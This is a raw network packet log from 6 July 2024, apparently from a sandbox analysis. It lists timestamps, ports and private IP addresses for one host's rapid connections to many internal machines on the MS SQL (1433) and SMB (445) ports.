Jul 6, 2024 14:11:36.022784948 CEST	52668	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:36.023102999 CEST	1433	52669	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.023121119 CEST	1433	52644	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:36.023133993 CEST	1433	52643	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.023143053 CEST	1433	52643	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.023170948 CEST	445	52657	192.168.3.157	192.168.2.6
Jul 6, 2024 14:11:36.023180008 CEST	445	52658	192.168.3.158	192.168.2.6
Jul 6, 2024 14:11:36.023194075 CEST	52669	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.023241043 CEST	1433	52663	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:36.023261070 CEST	445	52645	192.168.3.155	192.168.2.6
Jul 6, 2024 14:11:36.023606062 CEST	52669	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.023789883 CEST	52657	445	192.168.2.6	192.168.3.157
Jul 6, 2024 14:11:36.023789883 CEST	52658	445	192.168.2.6	192.168.3.158
Jul 6, 2024 14:11:36.023789883 CEST	52657	445	192.168.2.6	192.168.3.157
Jul 6, 2024 14:11:36.023789883 CEST	52658	445	192.168.2.6	192.168.3.158
Jul 6, 2024 14:11:36.024358034 CEST	52674	445	192.168.2.6	192.168.4.34
Jul 6, 2024 14:11:36.024435997 CEST	1433	52660	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.024456024 CEST	1433	52664	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.024466991 CEST	1433	52665	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.024512053 CEST	52664	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.024545908 CEST	445	52670	192.168.3.159	192.168.2.6
Jul 6, 2024 14:11:36.024563074 CEST	445	52671	192.168.4.33	192.168.2.6
Jul 6, 2024 14:11:36.024574041 CEST	1433	52673	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.024576902 CEST	52665	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.024576902 CEST	52664	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.024704933 CEST	52673	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.024760008 CEST	52671	445	192.168.2.6	192.168.4.33
Jul 6, 2024 14:11:36.024760008 CEST	52671	445	192.168.2.6	192.168.4.33
Jul 6, 2024 14:11:36.025284052 CEST	52673	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.025510073 CEST	52676	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.025607109 CEST	52677	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.026959896 CEST	52670	445	192.168.2.6	192.168.3.159
Jul 6, 2024 14:11:36.026959896 CEST	52670	445	192.168.2.6	192.168.3.159
Jul 6, 2024 14:11:36.028624058 CEST	445	52667	192.168.4.32	192.168.2.6
Jul 6, 2024 14:11:36.031789064 CEST	1433	52668	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.031838894 CEST	1433	52669	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.031847954 CEST	445	52674	192.168.4.34	192.168.2.6
Jul 6, 2024 14:11:36.031984091 CEST	52674	445	192.168.2.6	192.168.4.34
Jul 6, 2024 14:11:36.032218933 CEST	1433	52664	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.032228947 CEST	1433	52676	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.032238960 CEST	445	52657	192.168.3.157	192.168.2.6
Jul 6, 2024 14:11:36.032247066 CEST	445	52658	192.168.3.158	192.168.2.6
Jul 6, 2024 14:11:36.032255888 CEST	1433	52677	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.034852982 CEST	1433	52673	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.035763025 CEST	52665	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.036107063 CEST	52676	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.036107063 CEST	52677	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.036107063 CEST	52676	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.036107063 CEST	52677	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.036107063 CEST	52678	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.036434889 CEST	445	52670	192.168.3.159	192.168.2.6
Jul 6, 2024 14:11:36.038216114 CEST	52674	445	192.168.2.6	192.168.4.34
Jul 6, 2024 14:11:36.038512945 CEST	52680	445	192.168.2.6	192.168.3.160
Jul 6, 2024 14:11:36.038686037 CEST	52679	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.039660931 CEST	52681	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.040406942 CEST	52683	445	192.168.2.6	192.168.4.35
Jul 6, 2024 14:11:36.041881084 CEST	1433	52676	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.041892052 CEST	1433	52678	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.041958094 CEST	52678	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.042038918 CEST	52678	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.046276093 CEST	1433	52677	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.046303034 CEST	1433	52665	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.046310902 CEST	445	52671	192.168.4.33	192.168.2.6
Jul 6, 2024 14:11:36.046327114 CEST	1433	52660	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.046670914 CEST	52684	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:36.046696901 CEST	445	52680	192.168.3.160	192.168.2.6
Jul 6, 2024 14:11:36.046715021 CEST	1433	52679	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.046731949 CEST	1433	52681	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.046813011 CEST	1433	52663	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:36.046869040 CEST	445	52674	192.168.4.34	192.168.2.6
Jul 6, 2024 14:11:36.046901941 CEST	445	52667	192.168.4.32	192.168.2.6
Jul 6, 2024 14:11:36.046911001 CEST	445	52683	192.168.4.35	192.168.2.6
Jul 6, 2024 14:11:36.047007084 CEST	1433	52668	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.047209978 CEST	52685	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:36.047251940 CEST	1433	52669	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.047462940 CEST	52681	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.047489882 CEST	52687	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.047564983 CEST	445	52657	192.168.3.157	192.168.2.6
Jul 6, 2024 14:11:36.047574043 CEST	1433	52678	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.047828913 CEST	445	52658	192.168.3.158	192.168.2.6
Jul 6, 2024 14:11:36.048351049 CEST	52679	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.048351049 CEST	52679	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.048351049 CEST	52683	445	192.168.2.6	192.168.4.35
Jul 6, 2024 14:11:36.048351049 CEST	52683	445	192.168.2.6	192.168.4.35
Jul 6, 2024 14:11:36.048351049 CEST	52686	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:36.048424959 CEST	1433	52664	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.048433065 CEST	1433	52665	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.048671961 CEST	52688	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.048942089 CEST	52665	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.049288988 CEST	1433	52673	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.049357891 CEST	52667	445	192.168.2.6	192.168.4.32
Jul 6, 2024 14:11:36.049709082 CEST	52680	445	192.168.2.6	192.168.3.160
Jul 6, 2024 14:11:36.049709082 CEST	52680	445	192.168.2.6	192.168.3.160
Jul 6, 2024 14:11:36.051397085 CEST	445	52670	192.168.3.159	192.168.2.6
Jul 6, 2024 14:11:36.051595926 CEST	1433	52684	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.051604986 CEST	445	52674	192.168.4.34	192.168.2.6
Jul 6, 2024 14:11:36.051660061 CEST	52674	445	192.168.2.6	192.168.4.34
Jul 6, 2024 14:11:36.052223921 CEST	445	52671	192.168.4.33	192.168.2.6
Jul 6, 2024 14:11:36.052289963 CEST	1433	52685	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.052340984 CEST	52685	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:36.052447081 CEST	1433	52687	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.052546978 CEST	52685	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:36.052575111 CEST	52687	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.052603960 CEST	52687	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.053927898 CEST	1433	52676	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.053939104 CEST	1433	52677	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.054361105 CEST	52671	445	192.168.2.6	192.168.4.33
Jul 6, 2024 14:11:36.055154085 CEST	52684	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:36.055154085 CEST	52684	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:36.055154085 CEST	52689	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.055572987 CEST	1433	52678	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.055605888 CEST	1433	52679	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.055613995 CEST	1433	52688	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.055847883 CEST	1433	52681	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.055865049 CEST	445	52680	192.168.3.160	192.168.2.6
Jul 6, 2024 14:11:36.056246996 CEST	52673	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.056246996 CEST	52681	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.056246996 CEST	52677	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.056247950 CEST	52690	445	192.168.2.6	192.168.3.161
Jul 6, 2024 14:11:36.056247950 CEST	52688	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.056247950 CEST	52681	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.056333065 CEST	1433	52686	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:36.056467056 CEST	1433	52679	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.056595087 CEST	445	52680	192.168.3.160	192.168.2.6
Jul 6, 2024 14:11:36.057106972 CEST	445	52683	192.168.4.35	192.168.2.6
Jul 6, 2024 14:11:36.057480097 CEST	1433	52685	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.058083057 CEST	1433	52685	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.058078051 CEST	52691	445	192.168.2.6	192.168.3.162
Jul 6, 2024 14:11:36.058078051 CEST	52692	445	192.168.2.6	192.168.3.163
Jul 6, 2024 14:11:36.058093071 CEST	1433	52687	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.058116913 CEST	1433	52687	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.058278084 CEST	52694	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.058278084 CEST	52686	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:36.058278084 CEST	52683	445	192.168.2.6	192.168.4.35
Jul 6, 2024 14:11:36.058278084 CEST	52686	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:36.058655024 CEST	52698	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.058815956 CEST	52699	445	192.168.2.6	192.168.4.36
Jul 6, 2024 14:11:36.059061050 CEST	52700	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.060112000 CEST	52697	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.060375929 CEST	52696	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.060375929 CEST	52688	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.062273979 CEST	1433	52684	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.062282085 CEST	1433	52684	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.063137054 CEST	1433	52689	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.063148022 CEST	1433	52694	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.063157082 CEST	1433	52686	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:36.063211918 CEST	52689	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.063251972 CEST	52694	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.063261986 CEST	1433	52686	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:36.063467026 CEST	52694	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.063586950 CEST	52689	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.063797951 CEST	1433	52698	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.063807011 CEST	445	52699	192.168.4.36	192.168.2.6
Jul 6, 2024 14:11:36.063870907 CEST	52698	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.063951015 CEST	52699	445	192.168.2.6	192.168.4.36
Jul 6, 2024 14:11:36.063951015 CEST	52698	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.064121008 CEST	52701	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:36.064135075 CEST	1433	52700	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.064187050 CEST	52700	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.064253092 CEST	52700	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.064726114 CEST	1433	52681	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.064737082 CEST	445	52690	192.168.3.161	192.168.2.6
Jul 6, 2024 14:11:36.064913988 CEST	52690	445	192.168.2.6	192.168.3.161
Jul 6, 2024 14:11:36.065010071 CEST	52690	445	192.168.2.6	192.168.3.161
Jul 6, 2024 14:11:36.065367937 CEST	1433	52696	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.065377951 CEST	1433	52688	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.065386057 CEST	1433	52688	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.067188978 CEST	52702	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.067965984 CEST	1433	52697	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.068151951 CEST	1433	52689	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.068305969 CEST	52696	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.068305969 CEST	52696	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.068305969 CEST	52703	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.068382025 CEST	445	52691	192.168.3.162	192.168.2.6
Jul 6, 2024 14:11:36.068389893 CEST	1433	52694	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.068787098 CEST	445	52692	192.168.3.163	192.168.2.6
Jul 6, 2024 14:11:36.068797112 CEST	1433	52694	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.068804979 CEST	1433	52689	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.068860054 CEST	1433	52698	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.068867922 CEST	1433	52698	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.068958998 CEST	1433	52701	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.069183111 CEST	445	52699	192.168.4.36	192.168.2.6
Jul 6, 2024 14:11:36.069488049 CEST	1433	52700	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.069753885 CEST	52697	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.069753885 CEST	52697	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:36.069977999 CEST	445	52690	192.168.3.161	192.168.2.6
Jul 6, 2024 14:11:36.070029974 CEST	52700	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.070599079 CEST	445	52690	192.168.3.161	192.168.2.6
Jul 6, 2024 14:11:36.071170092 CEST	52689	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.071170092 CEST	52689	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.071170092 CEST	52699	445	192.168.2.6	192.168.4.36
Jul 6, 2024 14:11:36.071170092 CEST	52699	445	192.168.2.6	192.168.4.36
Jul 6, 2024 14:11:36.072101116 CEST	52709	445	192.168.2.6	192.168.4.37
Jul 6, 2024 14:11:36.072254896 CEST	1433	52702	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.072304964 CEST	52704	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.072304964 CEST	52705	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.072304964 CEST	52706	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.072304964 CEST	52707	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.072316885 CEST	52702	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.072803020 CEST	52691	445	192.168.2.6	192.168.3.162
Jul 6, 2024 14:11:36.072803020 CEST	52691	445	192.168.2.6	192.168.3.162
Jul 6, 2024 14:11:36.072803020 CEST	52692	445	192.168.2.6	192.168.3.163
Jul 6, 2024 14:11:36.072803020 CEST	52692	445	192.168.2.6	192.168.3.163
Jul 6, 2024 14:11:36.072803974 CEST	52701	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:36.073043108 CEST	52702	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.073594093 CEST	1433	52696	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.073601961 CEST	1433	52703	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.073873997 CEST	52703	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.073873997 CEST	52703	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.073935986 CEST	1433	52696	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.075030088 CEST	52710	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.076133966 CEST	1433	52689	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.076143026 CEST	1433	52689	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.076150894 CEST	445	52699	192.168.4.36	192.168.2.6
Jul 6, 2024 14:11:36.076916933 CEST	1433	52697	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.077090979 CEST	1433	52697	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:36.077271938 CEST	1433	52704	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.077353954 CEST	1433	52705	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.077749968 CEST	1433	52702	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.077840090 CEST	52702	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.077840090 CEST	52702	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.078516006 CEST	1433	52702	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.078998089 CEST	1433	52703	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.079163074 CEST	1433	52703	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.079945087 CEST	52701	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:36.080157042 CEST	1433	52710	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.080791950 CEST	1433	52706	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.081953049 CEST	445	52709	192.168.4.37	192.168.2.6
Jul 6, 2024 14:11:36.082362890 CEST	52712	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.082362890 CEST	52710	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.082362890 CEST	52710	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.082679987 CEST	1433	52702	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.082688093 CEST	445	52691	192.168.3.162	192.168.2.6
Jul 6, 2024 14:11:36.083318949 CEST	445	52691	192.168.3.162	192.168.2.6
Jul 6, 2024 14:11:36.083327055 CEST	1433	52702	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.084455013 CEST	52711	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.084455013 CEST	52709	445	192.168.2.6	192.168.4.37
Jul 6, 2024 14:11:36.084455013 CEST	52709	445	192.168.2.6	192.168.4.37
Jul 6, 2024 14:11:36.085155010 CEST	445	52692	192.168.3.163	192.168.2.6
Jul 6, 2024 14:11:36.085448027 CEST	445	52692	192.168.3.163	192.168.2.6
Jul 6, 2024 14:11:36.085654020 CEST	1433	52701	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.085925102 CEST	52704	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.085925102 CEST	52704	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.085925102 CEST	52705	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.085925102 CEST	52705	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.085925102 CEST	52706	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.086508989 CEST	1433	52707	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.089065075 CEST	1433	52701	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.089179993 CEST	1433	52712	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.089443922 CEST	1433	52711	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.090578079 CEST	445	52709	192.168.4.37	192.168.2.6
Jul 6, 2024 14:11:36.091084957 CEST	52701	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:36.091547966 CEST	52713	445	192.168.2.6	192.168.3.164
Jul 6, 2024 14:11:36.091547966 CEST	52711	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.091547966 CEST	52711	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.091751099 CEST	445	52709	192.168.4.37	192.168.2.6
Jul 6, 2024 14:11:36.091828108 CEST	52709	445	192.168.2.6	192.168.4.37
Jul 6, 2024 14:11:36.093175888 CEST	52706	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.093175888 CEST	52707	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.093177080 CEST	52707	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.093177080 CEST	52714	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.093177080 CEST	52715	445	192.168.2.6	192.168.4.38
Jul 6, 2024 14:11:36.093513012 CEST	1433	52710	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.093522072 CEST	1433	52710	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.094108105 CEST	1433	52704	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.094116926 CEST	1433	52705	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.094233990 CEST	1433	52704	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.094397068 CEST	1433	52705	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.094932079 CEST	1433	52706	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.097321033 CEST	445	52713	192.168.3.164	192.168.2.6
Jul 6, 2024 14:11:36.097357988 CEST	1433	52711	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.097376108 CEST	1433	52701	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:36.098248005 CEST	1433	52706	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.098602057 CEST	1433	52711	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.099709988 CEST	52717	1433	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:36.099709988 CEST	52719	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.099709988 CEST	52706	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.099709988 CEST	52706	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.099955082 CEST	52713	445	192.168.2.6	192.168.3.164
Jul 6, 2024 14:11:36.099955082 CEST	52713	445	192.168.2.6	192.168.3.164
Jul 6, 2024 14:11:36.100207090 CEST	52718	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.100207090 CEST	52720	1433	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:36.100207090 CEST	52722	1433	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:36.102379084 CEST	1433	52714	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.102783918 CEST	52712	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.102783918 CEST	52712	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.102797031 CEST	1433	52707	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.103327036 CEST	52714	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.103327036 CEST	52714	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.103410006 CEST	1433	52707	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.104943991 CEST	445	52715	192.168.4.38	192.168.2.6
Jul 6, 2024 14:11:36.104953051 CEST	1433	52717	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:36.104962111 CEST	1433	52719	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.105495930 CEST	52707	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.105495930 CEST	52715	445	192.168.2.6	192.168.4.38
Jul 6, 2024 14:11:36.105495930 CEST	52719	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.105495930 CEST	52717	1433	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:36.105495930 CEST	52715	445	192.168.2.6	192.168.4.38
Jul 6, 2024 14:11:36.106328964 CEST	445	52713	192.168.3.164	192.168.2.6
Jul 6, 2024 14:11:36.106674910 CEST	445	52713	192.168.3.164	192.168.2.6
Jul 6, 2024 14:11:36.106942892 CEST	1433	52706	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.106951952 CEST	1433	52706	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.108438015 CEST	1433	52714	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.108738899 CEST	1433	52714	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:36.109569073 CEST	1433	52712	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.109678030 CEST	1433	52712	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:36.111727953 CEST	52721	1433	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:36.111727953 CEST	52723	445	192.168.2.6	192.168.3.165
Jul 6, 2024 14:11:36.112190962 CEST	52719	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.114242077 CEST	445	52715	192.168.4.38	192.168.2.6
Jul 6, 2024 14:11:36.114252090 CEST	1433	52719	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.114624977 CEST	1433	52717	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:36.116652966 CEST	52724	445	192.168.2.6	192.168.4.39
Jul 6, 2024 14:11:36.116652966 CEST	52726	1433	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:36.116652966 CEST	52727	1433	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:36.117312908 CEST	445	52715	192.168.4.38	192.168.2.6
Jul 6, 2024 14:11:36.117321968 CEST	1433	52719	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:36.118690968 CEST	52715	445	192.168.2.6	192.168.4.38
Jul 6, 2024 14:11:36.118690968 CEST	52719	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.118691921 CEST	52717	1433	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:36.118691921 CEST	52717	1433	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:36.119687080 CEST	1433	52721	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:36.120739937 CEST	52731	445	192.168.2.6	192.168.4.40
Jul 6, 2024 14:11:36.121048927 CEST	445	52723	192.168.3.165	192.168.2.6
Jul 6, 2024 14:11:36.121588945 CEST	1433	52718	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:36.121712923 CEST	1433	52720	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:36.121722937 CEST	1433	52722	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:36.123897076 CEST	52728	1433	192.168.2.6	192.168.0.17
